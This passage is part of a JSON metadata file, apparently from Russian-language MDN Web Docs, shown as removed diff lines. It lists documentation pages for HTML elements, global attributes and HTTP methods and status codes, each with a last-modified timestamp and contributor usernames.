- "Nasridean"
- ]
- },
- "Web/HTML/Element/embed": {
- "modified": "2020-10-15T22:17:07.674Z",
- "contributors": [
- "lavacki"
- ]
- },
- "Web/HTML/Element/fieldset": {
- "modified": "2020-10-15T22:23:22.905Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Web/HTML/Element/figcaption": {
- "modified": "2020-10-15T22:21:00.972Z",
- "contributors": [
- "fuggy"
- ]
- },
- "Web/HTML/Element/figure": {
- "modified": "2020-10-15T21:52:59.593Z",
- "contributors": [
- "niktariy",
- "fuggy",
- "r1c0ch3t"
- ]
- },
- "Web/HTML/Element/font": {
- "modified": "2020-10-15T22:03:15.395Z",
- "contributors": [
- "Arboker"
- ]
- },
- "Web/HTML/Element/footer": {
- "modified": "2020-10-15T21:52:59.527Z",
- "contributors": [
- "niktariy",
- "JCodeg",
- "r1c0ch3t"
- ]
- },
- "Web/HTML/Element/form": {
- "modified": "2020-03-01T21:32:44.446Z",
- "contributors": [
- "WinterSilence",
- "ivanson",
- "VitalyKrenel",
- "nicothin",
- "teoli",
- "torbasow",
- "ldone",
- "irmatov"
- ]
- },
- "Web/HTML/Element/head": {
- "modified": "2020-10-15T22:04:06.256Z",
- "contributors": [
- "JCodeg",
- "baradusov",
- "a-klimantow"
- ]
- },
- "Web/HTML/Element/header": {
- "modified": "2020-10-15T21:51:37.298Z",
- "contributors": [
- "niktariy",
- "JCodeg",
- "timur560",
- "AlanSmithey"
- ]
- },
- "Web/HTML/Element/hgroup": {
- "modified": "2020-04-11T15:35:35.260Z",
- "contributors": [
- "russaksenov",
- "ivandoroshenko",
- "artem-palamarchuk96"
- ]
- },
- "Web/HTML/Element/hr": {
- "modified": "2020-10-15T22:31:28.444Z",
- "contributors": [
- "Nikrogan"
- ]
- },
- "Web/HTML/Element/html": {
- "modified": "2020-10-15T21:31:50.271Z",
- "contributors": [
- "JCodeg",
- "PopovDaniil",
- "Aleksej",
- "karskiy"
- ]
- },
- "Web/HTML/Element/image": {
- "modified": "2019-03-18T20:41:47.756Z",
- "contributors": [
- "Dozorengel",
- "KishiTako"
- ]
- },
- "Web/HTML/Element/img": {
- "modified": "2020-10-15T21:32:27.907Z",
- "contributors": [
- "JCodeg",
- "Roman-Kosov",
- "dima74",
- "secondfry",
- "ZVanoZ",
- "Aleksej",
- "solovyev"
- ]
- },
- "Web/HTML/Element/ins": {
- "modified": "2019-03-23T22:16:48.097Z",
- "contributors": [
- "skyrimmer51"
- ]
- },
- "Web/HTML/Element/kbd": {
- "modified": "2020-10-15T22:02:55.435Z",
- "contributors": [
- "domstrueboy"
- ]
- },
- "Web/HTML/Element/label": {
- "modified": "2020-08-31T17:30:16.459Z",
- "contributors": [
- "TolikKrymov",
- "GGGamerPro",
- "michaeluskov",
- "Sajag",
- "limzikiki",
- "Morjodrom"
- ]
- },
- "Web/HTML/Element/legend": {
- "modified": "2020-10-15T22:02:01.501Z",
- "contributors": [
- "ekirpichyov",
- "Nina_Amatova"
- ]
- },
- "Web/HTML/Element/li": {
- "modified": "2020-10-15T21:53:25.996Z",
- "contributors": [
- "S-inTheory",
- "fuggy",
- "Enzerot",
- "untritt",
- "tursum",
- "iliakonnov",
- "kuki"
- ]
- },
- "Web/HTML/Element/main": {
- "modified": "2020-10-15T22:15:33.946Z",
- "contributors": [
- "Thr0TT1e",
- "niktariy",
- "JCodeg"
- ]
- },
- "Web/HTML/Element/map": {
- "modified": "2020-10-15T22:18:36.666Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/HTML/Element/mark": {
- "modified": "2019-11-05T07:53:50.329Z",
- "contributors": [
- "zuenko.michail",
- "victorivanovspb",
- "skyrimmer51"
- ]
- },
- "Web/HTML/Element/marquee": {
- "modified": "2020-07-28T08:19:43.902Z",
- "contributors": [
- "mm669765",
- "malyavkin"
- ]
- },
- "Web/HTML/Element/menu": {
- "modified": "2020-10-15T22:29:27.668Z",
- "contributors": [
- "WinterSilence"
- ]
- },
- "Web/HTML/Element/meta": {
- "modified": "2020-10-15T21:52:59.516Z",
- "contributors": [
- "STEIN197",
- "WinterSilence",
- "H3JILgaH4uk",
- "mooksel",
- "Roman-Kosov",
- "hammurapiya"
- ]
- },
- "Web/HTML/Element/meter": {
- "modified": "2020-10-15T22:18:08.624Z",
- "contributors": [
- "Yialo",
- "opereverzeva"
- ]
- },
- "Web/HTML/Element/nav": {
- "modified": "2020-10-15T22:03:08.769Z",
- "contributors": [
- "pesterev",
- "inva8de",
- "korotkovstudio",
- "warsan",
- "acteralex",
- "fanich37"
- ]
- },
- "Web/HTML/Element/noscript": {
- "modified": "2019-03-23T22:50:34.564Z",
- "contributors": [
- "EugenAz"
- ]
- },
- "Web/HTML/Element/ol": {
- "modified": "2020-10-15T22:25:19.251Z",
- "contributors": [
- "Natalia",
- "EdgarKa"
- ]
- },
- "Web/HTML/Element/optgroup": {
- "modified": "2020-10-15T22:00:56.614Z",
- "contributors": [
- "artem-vorobev"
- ]
- },
- "Web/HTML/Element/option": {
- "modified": "2020-10-15T21:59:19.211Z",
- "contributors": [
- "ivanson",
- "Sajag"
- ]
- },
- "Web/HTML/Element/output": {
- "modified": "2020-10-16T08:25:00.785Z",
- "contributors": [
- "matiasrustagte",
- "opereverzeva"
- ]
- },
- "Web/HTML/Element/p": {
- "modified": "2020-10-15T22:01:18.861Z",
- "contributors": [
- "JCodeg",
- "skapesec",
- "artyomkovshov"
- ]
- },
- "Web/HTML/Element/picture": {
- "modified": "2020-10-15T22:02:03.650Z",
- "contributors": [
- "Roman-Kosov",
- "pytnik23",
- "Nina_Amatova"
- ]
- },
- "Web/HTML/Element/pre": {
- "modified": "2020-10-15T22:28:54.362Z",
- "contributors": [
- "Thr0TT1e",
- "Excent163",
- "zoomboy13qq"
- ]
- },
- "Web/HTML/Element/progress": {
- "modified": "2020-10-15T22:18:10.424Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/HTML/Element/ruby": {
- "modified": "2019-03-23T22:16:48.415Z",
- "contributors": [
- "KishiTako"
- ]
- },
- "Web/HTML/Element/script": {
- "modified": "2020-10-15T22:13:05.905Z",
- "contributors": [
- "alkorlos",
- "sumthief",
- "biggieman",
- "vovanezha",
- "Roman-Kosov"
- ]
- },
- "Web/HTML/Element/section": {
- "modified": "2020-10-15T21:43:35.863Z",
- "contributors": [
- "niktariy",
- "JCodeg",
- "erdjei",
- "dimoff66",
- "muzimka",
- "lollyroll",
- "Bobsans",
- "Minstel",
- "AnatolyOS"
- ]
- },
- "Web/HTML/Element/select": {
- "modified": "2020-10-15T21:58:27.145Z",
- "contributors": [
- "swymmwys",
- "Snailsloth",
- "NSearcher"
- ]
- },
- "Web/HTML/Element/slot": {
- "modified": "2020-10-15T22:18:33.678Z",
- "contributors": [
- "Akh-rman"
- ]
- },
- "Web/HTML/Element/source": {
- "modified": "2020-10-15T22:02:22.153Z",
- "contributors": [
- "shvedovskiy",
- "fidelman",
- "Nina_Amatova"
- ]
- },
- "Web/HTML/Element/span": {
- "modified": "2020-10-15T22:17:05.764Z",
- "contributors": [
- "Enzerot",
- "JCodeg"
- ]
- },
- "Web/HTML/Element/strong": {
- "modified": "2020-10-27T09:45:31.123Z",
- "contributors": [
- "LFFATE",
- "Enzerot",
- "skapesec"
- ]
- },
- "Web/HTML/Element/style": {
- "modified": "2019-03-23T23:36:06.676Z",
- "contributors": [
- "torbasow",
- "warsan",
- "teoli",
- "Aleksej",
- "dronov"
- ]
- },
- "Web/HTML/Element/summary": {
- "modified": "2020-10-15T22:23:43.914Z",
- "contributors": [
- "objNameGit"
- ]
- },
- "Web/HTML/Element/td": {
- "modified": "2020-10-15T22:00:58.695Z",
- "contributors": [
- "Maxim-Bernashevsky"
- ]
- },
- "Web/HTML/Element/template": {
- "modified": "2020-10-15T21:39:10.196Z",
- "contributors": [
- "WinterSilence",
- "OneOfElders",
- "GalustOsipyan",
- "KoblentsAV",
- "apian",
- "fantkolja",
- "vzh",
- "Isk1n",
- "dood"
- ]
- },
- "Web/HTML/Element/tfoot": {
- "modified": "2019-03-23T22:42:06.904Z",
- "contributors": [
- "s1lver",
- "eshpak"
- ]
- },
- "Web/HTML/Element/time": {
- "modified": "2019-09-23T09:49:47.365Z",
- "contributors": [
- "niktariy",
- "Zulcom",
- "Aleksej",
- "Lambrusco.pro"
- ]
- },
- "Web/HTML/Element/title": {
- "modified": "2020-10-15T21:52:59.922Z",
- "contributors": [
- "JCodeg",
- "skapesec",
- "KAL6MAR"
- ]
- },
- "Web/HTML/Element/track": {
- "modified": "2020-10-15T22:17:23.784Z",
- "contributors": [
- "fuggy",
- "SedovDP"
- ]
- },
- "Web/HTML/Element/u": {
- "modified": "2020-10-15T22:23:02.823Z",
- "contributors": [
- "xsltdev.ru"
- ]
- },
- "Web/HTML/Element/ul": {
- "modified": "2020-10-15T22:25:17.688Z",
- "contributors": [
- "EdgarKa"
- ]
- },
- "Web/HTML/Element/video": {
- "modified": "2019-10-10T16:55:11.676Z",
- "contributors": [
- "runicelf",
- "Smaleva",
- "kabdena",
- "fill.anton"
- ]
- },
- "Web/HTML/Element/video/seeking_event": {
- "modified": "2019-03-23T22:00:06.598Z",
- "contributors": [
- "estelle",
- "fscholz",
- "alexs_havelev"
- ]
- },
- "Web/HTML/Element/wbr": {
- "modified": "2020-10-15T22:16:50.183Z",
- "contributors": [
- "doritota",
- "ShadyMind",
- "AleksandrK69"
- ]
- },
- "Web/HTML/Element/кнопка": {
- "modified": "2020-08-27T10:59:01.002Z",
- "contributors": [
- "DarkExodusXX",
- "Anton1922",
- "fanich37",
- "VitalyKrenel",
- "Quaiby"
- ]
- },
- "Web/HTML/Element/ссылка": {
- "modified": "2020-11-25T22:00:52.653Z",
- "contributors": [
- "RoPy73",
- "GitForDocs",
- "sasha3nique",
- "dt_",
- "opereverzeva"
- ]
- },
- "Web/HTML/Global_attributes": {
- "modified": "2020-10-15T21:40:19.311Z",
- "contributors": [
- "chrisdavidmills",
- "YozhEzhi",
- "tronov",
- "ldone"
- ]
- },
- "Web/HTML/Global_attributes/accesskey": {
- "modified": "2020-10-15T21:54:29.967Z",
- "contributors": [
- "chrisdavidmills",
- "CyberAP",
- "arturparkhisenko",
- "VitalyKrenel",
- "Khudoidod"
- ]
- },
- "Web/HTML/Global_attributes/class": {
- "modified": "2020-10-15T22:23:35.603Z",
- "contributors": [
- "chrisdavidmills",
- "karasik",
- "Excent163"
- ]
- },
- "Web/HTML/Global_attributes/contenteditable": {
- "modified": "2020-03-11T09:20:45.770Z",
- "contributors": [
- "chrisdavidmills",
- "warsan",
- "Jasum",
- "SnejUgal"
- ]
- },
- "Web/HTML/Global_attributes/data-*": {
- "modified": "2020-10-15T22:25:34.411Z",
- "contributors": [
- "chrisdavidmills",
- "andreystan"
- ]
- },
- "Web/HTML/Global_attributes/dir": {
- "modified": "2020-10-15T22:35:14.687Z",
- "contributors": [
- "at940266"
- ]
- },
- "Web/HTML/Global_attributes/dropzone": {
- "modified": "2020-10-15T22:18:29.870Z",
- "contributors": [
- "chrisdavidmills",
- "Akh-rman"
- ]
- },
- "Web/HTML/Global_attributes/id": {
- "modified": "2020-10-15T21:58:35.927Z",
- "contributors": [
- "chrisdavidmills",
- "JCodeg",
- "nemyxa"
- ]
- },
- "Web/HTML/Global_attributes/inputmode": {
- "modified": "2020-10-15T22:22:08.650Z",
- "contributors": [
- "ExzoTiQQ",
- "chrisdavidmills",
- "maks1mp",
- "dirkgntly",
- "YozhEzhi"
- ]
- },
- "Web/HTML/Global_attributes/is": {
- "modified": "2020-10-15T22:20:51.216Z",
- "contributors": [
- "chrisdavidmills",
- "opereverzeva"
- ]
- },
- "Web/HTML/Global_attributes/itemid": {
- "modified": "2020-10-15T22:21:06.900Z",
- "contributors": [
- "chrisdavidmills",
- "opereverzeva"
- ]
- },
- "Web/HTML/Global_attributes/lang": {
- "modified": "2020-10-15T22:28:12.778Z",
- "contributors": [
- "osipov_s",
- "almaceleste",
- "chrisdavidmills"
- ]
- },
- "Web/HTML/Global_attributes/style": {
- "modified": "2020-03-11T09:20:45.761Z",
- "contributors": [
- "chrisdavidmills",
- "OlehMrB",
- "deniskorotin12"
- ]
- },
- "Web/HTML/Global_attributes/tabindex": {
- "modified": "2020-03-11T09:20:45.707Z",
- "contributors": [
- "chrisdavidmills",
- "es-moll",
- "GalGrigoryeva",
- "maddev",
- "ViktorKonsta"
- ]
- },
- "Web/HTML/Optimizing_Your_Pages_for_Speculative_Parsing": {
- "modified": "2019-03-23T23:28:56.065Z",
- "contributors": [
- "s1lver",
- "pk.prog",
- "SnejUgal",
- "teoli",
- "Gucci_08_rus"
- ]
- },
- "Web/HTML/Preloading_content": {
- "modified": "2020-10-15T22:11:40.984Z",
- "contributors": [
- "warsan",
- "alexa.poruch",
- "Ilya-Zhulin",
- "akochemasov",
- "Skolpov",
- "isatalkin"
- ]
- },
- "Web/HTML/Quirks_Mode_and_Standards_Mode": {
- "modified": "2019-03-23T22:44:29.253Z",
- "contributors": [
- "chrisdavidmills",
- "mea612",
- "Natalya_Surikova",
- "lerniri"
- ]
- },
- "Web/HTML/Использование_кэширования_приложений": {
- "modified": "2019-04-09T18:24:32.273Z",
- "contributors": [
- "jwhitlock",
- "teoli",
- "pashak"
- ]
- },
- "Web/HTML/Поддерживаемые_медиа_форматы": {
- "modified": "2019-03-23T22:40:43.218Z",
- "contributors": [
- "SedovDP",
- "a-goodwin",
- "PPerminov",
- "MuradAz"
- ]
- },
- "Web/HTML/Ссылки": {
- "modified": "2019-09-09T07:21:34.310Z",
- "contributors": [
- "SphinxKnight",
- "JCodeg",
- "wbamberg",
- "Kiprusoff",
- "kuki",
- "alexfromvl",
- "VsTB",
- "astrobeglec",
- "BychekRU",
- "quinn",
- "ldone",
- "alexlead"
- ]
- },
- "Web/HTML/Строчные_Элементы": {
- "modified": "2020-03-08T06:35:47.964Z",
- "contributors": [
- "Radragon",
- "AliaksandrZahorski",
- "Inqanter",
- "superpuper32",
- "Filofei",
- "Chronosms"
- ]
- },
- "Web/HTML/Типы_ссылок": {
- "modified": "2019-03-23T22:35:07.110Z",
- "contributors": [
- "BychekRU"
- ]
- },
- "Web/HTTP": {
- "modified": "2019-10-10T16:46:52.972Z",
- "contributors": [
- "Mikhail_Kozachkov",
- "e-evdokimov",
- "stonetrooper",
- "djigach",
- "pk.prog",
- "warnabas",
- "nilfalse",
- "lerniri",
- "Sheppy"
- ]
- },
- "Web/HTTP/Basics_of_HTTP": {
- "modified": "2020-07-14T17:05:38.093Z",
- "contributors": [
- "vladimir.i.kuropatka",
- "enonotugh",
- "cissoid"
- ]
- },
- "Web/HTTP/Basics_of_HTTP/Data_URIs": {
- "modified": "2020-10-15T22:23:29.676Z",
- "contributors": [
- "alex3d",
- "ismorozs"
- ]
- },
- "Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP": {
- "modified": "2019-03-23T22:25:07.797Z",
- "contributors": [
- "pk.prog"
- ]
- },
- "Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web_RU": {
- "modified": "2020-01-09T21:04:16.499Z",
- "contributors": [
- "rshmelev"
- ]
- },
- "Web/HTTP/Basics_of_HTTP/MIME_types": {
- "modified": "2019-10-21T06:21:06.123Z",
- "contributors": [
- "ismorozs",
- "dartraiden",
- "wcoder",
- "vfr5cv",
- "dawsonbotsford"
- ]
- },
- "Web/HTTP/Basics_of_HTTP/MIME_types/Common_types": {
- "modified": "2020-02-28T13:11:18.234Z",
- "contributors": [
- "chrisdavidmills",
- "SphinxKnight",
- "nickvoronin",
- "MineDen",
- "vladkras",
- "david.orbelian"
- ]
- },
- "Web/HTTP/CORS": {
- "modified": "2020-10-21T11:45:01.641Z",
- "contributors": [
- "AntonSork",
- "muxmux.ryzhinskiy",
- "annielinnik",
- "eugenechu",
- "PaulineNemchak",
- "ka.bezmaternykh",
- "AliaksandrZahorski",
- "isverkunova",
- "registoo",
- "Sarox",
- "ryndin",
- "TopJavaDev",
- "teryaew",
- "Just-Student",
- "ruSl0n",
- "sumthief",
- "pokatomnik",
- "while0pass",
- "curdwithraisins"
- ]
- },
- "Web/HTTP/CORS/Errors": {
- "modified": "2019-03-18T21:24:33.853Z",
- "contributors": [
- "nchevobbe"
- ]
- },
- "Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin": {
- "modified": "2020-09-04T20:45:48.841Z",
- "contributors": [
- "ismaxim"
- ]
- },
- "Web/HTTP/CORS/Errors/CORSDidNotSucceed": {
- "modified": "2019-03-18T21:21:26.464Z",
- "contributors": [
- "Raov"
- ]
- },
- "Web/HTTP/CORS/Errors/CORSDisabled": {
- "modified": "2019-04-02T08:31:09.637Z",
- "contributors": [
- "adsads"
- ]
- },
- "Web/HTTP/CORS/Errors/CORSMissingAllowOrigin": {
- "modified": "2019-11-28T13:01:34.661Z",
- "contributors": [
- "mcmimik",
- "WhiteApfel",
- "coldestheart"
- ]
- },
- "Web/HTTP/CSP": {
- "modified": "2020-10-15T22:12:13.397Z",
- "contributors": [
- "muxmux.ryzhinskiy",
- "rufatpro",
- "aekarimov",
- "CupIvan",
- "vetraz",
- "mrpq",
- "DenKoren",
- "gudkovdanila"
- ]
- },
- "Web/HTTP/Conditional_requests": {
- "modified": "2019-03-18T21:40:01.400Z",
- "contributors": [
- "Ollisteka",
- "ValeriiBoiko"
- ]
- },
- "Web/HTTP/Connection_management_in_HTTP_1.x": {
- "modified": "2020-10-20T00:47:00.327Z",
- "contributors": [
- "nuranai",
- "mariag"
- ]
- },
- "Web/HTTP/Content_negotiation": {
- "modified": "2019-08-18T10:55:30.029Z",
- "contributors": [
- "rdcl-g",
- "stonetrooper",
- "Katerina-S"
- ]
- },
- "Web/HTTP/Content_negotiation/List_of_default_Accept_values": {
- "modified": "2020-09-08T09:01:26.232Z",
- "contributors": [
- "Valentina"
- ]
- },
- "Web/HTTP/Feature_Policy": {
- "modified": "2020-10-15T22:16:37.399Z",
- "contributors": [
- "ruslanlavrega81",
- "zwug",
- "moveax3"
- ]
- },
- "Web/HTTP/Feature_Policy/Using_Feature_Policy": {
- "modified": "2020-02-11T10:54:06.896Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/HTTP/Messages": {
- "modified": "2020-05-02T15:29:40.125Z",
- "contributors": [
- "Excent163",
- "Sarox",
- "registoo",
- "mariag"
- ]
- },
- "Web/HTTP/Methods": {
- "modified": "2020-10-15T21:50:01.741Z",
- "contributors": [
- "podgorny",
- "Mikhail42",
- "AdminLP",
- "pk.prog"
- ]
- },
- "Web/HTTP/Methods/CONNECT": {
- "modified": "2020-10-15T22:12:02.549Z",
- "contributors": [
- "sergsnicarenko",
- "DiArch"
- ]
- },
- "Web/HTTP/Methods/DELETE": {
- "modified": "2020-10-15T22:11:58.447Z",
- "contributors": [
- "fuggy",
- "tanyaharris"
- ]
- },
- "Web/HTTP/Methods/GET": {
- "modified": "2020-10-15T22:07:25.076Z",
- "contributors": [
- "fuggy",
- "jellymary",
- "e-evdokimov",
- "Mikhail42"
- ]
- },
- "Web/HTTP/Methods/HEAD": {
- "modified": "2020-10-15T22:09:53.409Z",
- "contributors": [
- "fuggy",
- "alexeybryk",
- "jellymary"
- ]
- },
- "Web/HTTP/Methods/OPTIONS": {
- "modified": "2020-10-15T21:56:43.677Z",
- "contributors": [
- "ircphp",
- "jellymary",
- "mtrsv",
- "marks12"
- ]
- },
- "Web/HTTP/Methods/PATCH": {
- "modified": "2020-12-05T04:46:47.034Z",
- "contributors": [
- "sheremet",
- "fuggy"
- ]
- },
- "Web/HTTP/Methods/POST": {
- "modified": "2020-10-15T22:01:35.674Z",
- "contributors": [
- "fuggy",
- "jellymary",
- "Blinky",
- "RodionFedechkin",
- "abdulazizjs",
- "ghost28147"
- ]
- },
- "Web/HTTP/Methods/PUT": {
- "modified": "2020-10-15T21:56:24.384Z",
- "contributors": [
- "fuggy",
- "jellymary",
- "maxpolski"
- ]
- },
- "Web/HTTP/Methods/TRACE": {
- "modified": "2020-10-15T22:09:54.454Z",
- "contributors": [
- "Jiml87",
- "fuggy",
- "jellymary"
- ]
- },
- "Web/HTTP/Overview": {
- "modified": "2020-11-17T05:19:09.051Z",
- "contributors": [
- "sapsan7630",
- "bershanskiy",
- "javid-aliyev",
- "donchak1610",
- "demoredeyes",
- "Dyenex",
- "Mikhail_Kozachkov",
- "red100k",
- "registoo",
- "Mikhail42",
- "rustavellyne",
- "kshiukaev",
- "izhurav",
- "v-zubritsky",
- "campside",
- "uleming",
- "ENBelko",
- "SnejUgal"
- ]
- },
- "Web/HTTP/Redirections": {
- "modified": "2019-11-21T10:53:45.387Z",
- "contributors": [
- "Zulcom",
- "coolder",
- "textyre",
- "ValeriiBoiko"
- ]
- },
- "Web/HTTP/Server-Side_Access_Control": {
- "modified": "2019-07-16T07:11:05.759Z",
- "contributors": [
- "curdwithraisins"
- ]
- },
- "Web/HTTP/Session": {
- "modified": "2020-02-14T12:03:42.414Z",
- "contributors": [
- "hardsoncore",
- "Duelist",
- "ilyaUryadov",
- "SnejUgal",
- "koks",
- "pk.prog"
- ]
- },
- "Web/HTTP/Status": {
- "modified": "2020-07-21T11:53:42.620Z",
- "contributors": [
- "absinthminded",
- "Dmitry",
- "u_mulder",
- "dmakarov-hystax",
- "veryvorobey",
- "AgRuN1",
- "Sturmtiger",
- "swiftail",
- "zhanser1k",
- "Gvozdikova",
- "ProgMiner",
- "fscholz",
- "masterx2",
- "LinMAD",
- "dovgart"
- ]
- },
- "Web/HTTP/Status/100": {
- "modified": "2020-10-15T21:54:21.433Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/101": {
- "modified": "2019-03-23T22:11:57.761Z",
- "contributors": [
- "scpketer",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/103": {
- "modified": "2020-10-15T22:26:01.978Z",
- "contributors": [
- "danyasatsuk"
- ]
- },
- "Web/HTTP/Status/200": {
- "modified": "2020-10-15T21:54:20.548Z",
- "contributors": [
- "Kirill82",
- "julianotes",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/201": {
- "modified": "2020-10-15T21:54:19.594Z",
- "contributors": [
- "Basters",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/202": {
- "modified": "2019-03-23T22:11:50.408Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/203": {
- "modified": "2019-03-23T22:11:57.159Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/204": {
- "modified": "2020-10-15T21:54:19.366Z",
- "contributors": [
- "justredpaul",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/205": {
- "modified": "2019-03-23T22:11:48.806Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/206": {
- "modified": "2020-10-15T21:54:23.531Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/300": {
- "modified": "2019-03-23T22:11:59.106Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/301": {
- "modified": "2020-10-15T21:54:21.871Z",
- "contributors": [
- "Vyprichenko",
- "lxr",
- "jmas",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/302": {
- "modified": "2020-10-15T21:54:27.031Z",
- "contributors": [
- "lxr",
- "ghost28147",
- "SevastyanDark",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/303": {
- "modified": "2020-10-15T21:54:26.717Z",
- "contributors": [
- "lxr",
- "ADTC",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/304": {
- "modified": "2020-10-15T21:54:27.160Z",
- "contributors": [
- "RomanDavlyatshin",
- "fr33ek",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/307": {
- "modified": "2020-11-09T06:55:28.868Z",
- "contributors": [
- "gogo.sanak",
- "lxr",
- "kroleg",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/308": {
- "modified": "2020-10-15T21:54:26.916Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/400": {
- "modified": "2020-10-05T06:39:15.951Z",
- "contributors": [
- "alekseiroden",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/401": {
- "modified": "2020-11-03T03:16:35.279Z",
- "contributors": [
- "SphinxKnight",
- "kriko",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/402": {
- "modified": "2020-10-15T22:26:57.966Z",
- "contributors": [
- "Wicky435"
- ]
- },
- "Web/HTTP/Status/403": {
- "modified": "2020-10-15T21:54:28.027Z",
- "contributors": [
- "krisskross045",
- "c01nd01r",
- "pelmahx",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/404": {
- "modified": "2020-11-01T07:26:37.636Z",
- "contributors": [
- "a-postx",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/405": {
- "modified": "2020-10-08T06:06:31.158Z",
- "contributors": [
- "krisskross045",
- "maksym-studenets",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/406": {
- "modified": "2020-10-15T21:54:34.038Z",
- "contributors": [
- "vykulakov",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/407": {
- "modified": "2020-10-15T21:54:33.680Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/408": {
- "modified": "2020-12-03T09:09:58.243Z",
- "contributors": [
- "rkolvcin",
- "velunin",
- "madzohan",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/409": {
- "modified": "2019-03-18T20:53:49.119Z",
- "contributors": [
- "NeverMine17",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/410": {
- "modified": "2020-10-15T21:54:31.995Z",
- "contributors": [
- "ruvor",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/411": {
- "modified": "2019-03-23T22:11:43.834Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/412": {
- "modified": "2020-10-15T21:54:33.418Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/413": {
- "modified": "2019-03-23T22:11:44.226Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/414": {
- "modified": "2019-03-23T22:11:35.313Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/415": {
- "modified": "2019-03-23T22:11:36.286Z",
- "contributors": [
- "runicelf",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/416": {
- "modified": "2020-10-15T21:54:31.942Z",
- "contributors": [
- "fuggy",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/417": {
- "modified": "2020-03-25T04:22:45.272Z",
- "contributors": [
- "ialexi-bl",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/418": {
- "modified": "2020-10-15T22:04:42.019Z",
- "contributors": [
- "dzamlo",
- "serj-by"
- ]
- },
- "Web/HTTP/Status/422": {
- "modified": "2019-03-18T21:27:30.633Z",
- "contributors": [
- "stonetrooper"
- ]
- },
- "Web/HTTP/Status/425": {
- "modified": "2020-11-01T07:45:20.075Z",
- "contributors": [
- "a-postx",
- "pvtjhones",
- "NeverMine17"
- ]
- },
- "Web/HTTP/Status/426": {
- "modified": "2019-03-23T22:11:44.101Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/428": {
- "modified": "2019-03-23T22:11:43.311Z",
- "contributors": [
- "npliashechnikov",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/429": {
- "modified": "2020-10-09T09:01:54.511Z",
- "contributors": [
- "radekozanj",
- "tonal",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/431": {
- "modified": "2019-03-23T22:11:38.462Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/451": {
- "modified": "2020-10-15T21:54:31.658Z",
- "contributors": [
- "denismaster",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/500": {
- "modified": "2020-11-01T07:13:36.543Z",
- "contributors": [
- "a-postx",
- "vkonchek",
- "kyawminar",
- "denismaster",
- "Maria-Atonen",
- "Dobriy33"
- ]
- },
- "Web/HTTP/Status/501": {
- "modified": "2020-10-15T21:54:32.847Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/502": {
- "modified": "2020-10-15T21:54:33.584Z",
- "contributors": [
- "alekseiroden",
- "timas1301",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/503": {
- "modified": "2020-10-15T21:54:32.776Z",
- "contributors": [
- "goveo",
- "keeshava",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/504": {
- "modified": "2020-10-15T21:54:32.760Z",
- "contributors": [
- "IlgamGabdullin",
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/505": {
- "modified": "2019-03-23T22:11:33.494Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Status/511": {
- "modified": "2019-03-23T22:11:33.213Z",
- "contributors": [
- "AlexeyVasilievE"
- ]
- },
- "Web/HTTP/Авторизация": {
- "modified": "2020-04-27T12:53:55.193Z",
- "contributors": [
- "katina.tanya.net",
- "Umbrous",
- "mironovdm",
- "RumyantsevMichael",
- "Santiago26",
- "deniskoronets"
- ]
- },
- "Web/HTTP/Заголовки": {
- "modified": "2020-10-01T10:57:48.980Z",
- "contributors": [
- "bakhrom.akbarov",
- "severyanov",
- "DariiaBormot",
